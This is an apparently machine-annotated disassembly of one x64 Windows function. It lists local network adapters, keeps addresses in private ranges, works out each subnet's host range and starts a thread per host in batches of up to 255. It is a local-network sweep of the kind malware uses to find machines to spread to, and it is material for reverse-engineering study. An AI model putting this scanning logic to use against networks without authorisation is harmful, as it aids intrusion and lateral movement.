Function at 0x7ff744ff128c
Capabilities:
Create thread
Get local ipv4 addresses

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x798]
sub rsp, 0x898
xor r12d, r12d
lea rax, [rsp + 0x30]
mov r15, rdx
mov qword [rcx], r12
xor edx, edx
mov dword [rsp + 0x30], r12d
mov rsi, rcx
mov dword [rsp + 0x34], r12d
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea edi, [rdx + 2]
mov ecx, edi
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
mov edx, dword [rsp + 0x30]
lea r9d, [r12 + 4]
xor ecx, ecx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x48], rax
mov rdx, rax
lea r13d, [r12 + 1]
test rax, rax
je 0x7ff744ff16a4
lea rax, [rsp + 0x30]
mov r9, rdx
xor edx, edx
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov ecx, edi
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
mov r14, qword [rsp + 0x48]
mov qword [rsp + 0x40], r14
mov rbx, qword [r14 + 0x18]
jmp 0x7ff744ff15d2
mov rdx, qword [rbx + 0x10]
cmp word [rdx], di
jne 0x7ff744ff1381
xor eax, eax
lea r8, [rsp + 0x60]
add rdx, 4
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x70], eax
mov word [rsp + 0x74], ax
call fcn.7ff744ff113c
test rax, rax
je 0x7ff744ff1381
mov rcx, r12
mov al, byte [rsp + rcx + 0x60]
mov byte [rsp + rcx + 0x78], al
add rcx, r13
test al, al
jne 0x7ff744ff1372
lea rdx, [0x7ff74500e0b8]
lea rcx, [rsp + 0x78]
call fcn.7ff744ff6db4
lea rcx, [rsp + 0x78]
cmp rax, rcx
je 0x7ff744ff13cc
lea rdx, str.172.16.
lea rcx, [rsp + 0x78]
call fcn.7ff744ff6db4
test rax, rax
jne 0x7ff744ff13cc
lea rdx, str.192.168.
lea rcx, [rsp + 0x78]
call fcn.7ff744ff6db4
test rax, rax
je 0x7ff744ff15ce
lea rcx, [rsp + 0x78]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rbp + 0x7f0], eax
cmp eax, 0xffffffff
je 0x7ff744ff164d
movzx r9d, byte [rbx + 0x38]
mov edx, r12d
mov r8d, r9d
mov dword [rbp + 0x7f8], edx
and r8d, 7
mov ecx, r12d
test r9d, r9d
je 0x7ff744ff1443
mov r10d, r9d
sub r10d, r8d
cmp ecx, r10d
jae 0x7ff744ff1425
mov eax, r13d
shl eax, cl
add ecx, r13d
or edx, eax
mov dword [rbp + 0x7f8], edx
cmp ecx, r9d
jb 0x7ff744ff1409
jmp 0x7ff744ff1443
add ecx, 7
test r8d, r8d
je 0x7ff744ff1443
mov eax, r13d
shl eax, cl
sub ecx, r13d
or edx, eax
add r8d, 0xffffffff
jne 0x7ff744ff142d
mov dword [rbp + 0x7f8], edx
mov eax, edx
shr eax, 8
movzx ecx, al
mov eax, 0xff
sub eax, ecx
mov ecx, 0xff
shl eax, 0x10
movsxd rdi, eax
movzx eax, byte [rbp + 0x7fa]
sub ecx, eax
shl ecx, 8
movsxd rax, ecx
or ecx, 0xffffffff
add rdi, rax
movzx eax, dl
sub ecx, eax
shl ecx, 0x18
movsxd rax, ecx
mov ecx, 0xff
add rdi, rax
movzx eax, byte [rbp + 0x7fb]
sub ecx, eax
movsxd rax, ecx
add rdi, rax
add qword [rsi], rdi
cmp rdi, 0xff
sbb dl, dl
and dl, byte [rbp + 0x7f3]
cmp rdi, 0xffff
jb 0x7ff744ff14bd
mov cl, r12b
mov dl, r12b
mov byte [rbp + 0x7f2], cl
jmp 0x7ff744ff14c3
mov cl, byte [rbp + 0x7f2]
cmp rdi, 0xffffff
jb 0x7ff744ff14e4
mov cl, r12b
mov byte [rbp + 0x7f1], r12b
mov byte [rbp + 0x7f2], cl
mov dl, r12b
mov r8b, r12b
jmp 0x7ff744ff14eb
mov r8b, byte [rbp + 0x7f1]
mov r15b, byte [rbp + 0x7f0]
mov r10d, r12d
mov r14, qword [rbp + 0x7e8]
mov r13d, r12d
mov ebx, dword [rsp + 0x34]
mov qword [rsp + 0x50], r12
mov r11d, dword [rsp + 0x54]
mov qword [rsp + 0x58], r12
mov r9d, dword [rsp + 0x5c]
mov eax, 0xff
cmp r11d, eax
jbe 0x7ff744ff1546
xor r9d, r9d
inc r13d
xor r10d, r10d
mov word [rbp + 0x7f1], r9w
xor r11d, r11d
xor dl, dl
xor cl, cl
xor r8b, r8b
inc r15b
mov byte [rbp + 0x7f0], r15b
cmp r10d, eax
jbe 0x7ff744ff1568
xor cl, cl
inc r11d
xor r9d, r9d
mov byte [rbp + 0x7f2], cl
xor r10d, r10d
xor dl, dl
inc r8b
mov byte [rbp + 0x7f1], r8b
cmp r9d, eax
jbe 0x7ff744ff157d
inc r10d
xor r9d, r9d
xor dl, dl
inc cl
mov byte [rbp + 0x7f2], cl
inc dl
mov eax, ebx
inc r9d
mov byte [rbp + 0x7f3], dl
lea rsi, [r14 + rax*8]
test rsi, rsi
je 0x7ff744ff159d
mov eax, dword [rbp + 0x7f0]
inc ebx
mov dword [rsi], eax
inc r12d
movsxd rax, r12d
cmp rax, rdi
jbe 0x7ff744ff1517
mov r14, qword [rsp + 0x40]
xor r12d, r12d
mov rsi, qword [rbp + 0x7e0]
mov dword [rsp + 0x34], ebx
mov rbx, qword [rsp + 0x38]
lea edi, [r12 + 2]
lea r13d, [r12 + 1]
mov rbx, qword [rbx + 8]
mov qword [rsp + 0x38], rbx
test rbx, rbx
jne 0x7ff744ff133e
mov r14, qword [r14 + 8]
mov qword [rsp + 0x40], r14
test r14, r14
jne 0x7ff744ff1335
mov r15, qword [rbp + 0x7e8]
test r15, r15
je 0x7ff744ff16a4
mov ebx, r12d
mov r14d, 0x1b58
cmp qword [rsi], r12
jbe 0x7ff744ff1684
mov rcx, r12
mov eax, 0x80808081
mov edi, ebx
imul ebx
add edx, ebx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub edi, eax
cmp edi, 0xfe
jne 0x7ff744ff1652
mov r9d, r14d
lea rdx, [rbp - 0x70]
mov r8d, r13d
lea ecx, [rdi + 1]
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
jmp 0x7ff744ff1679
or eax, 0xffffffff
jmp 0x7ff744ff16ba
lea r9, [r15 + rcx*8]
mov qword [rsp + 0x28], r12
xor ecx, ecx
mov dword [rsp + 0x20], r12d
lea r8, [0x7ff744ff105c]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
movsxd rdx, edi
mov qword [rbp + rdx*8 - 0x70], rax
add ebx, r13d
movsxd rcx, ebx
cmp rcx, qword [rsi]
jb 0x7ff744ff1613
mov r9d, r14d
lea rdx, [rbp - 0x70]
mov r8d, r13d
mov ecx, 0xff
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x48]
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, r13d
add rsp, 0x898
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret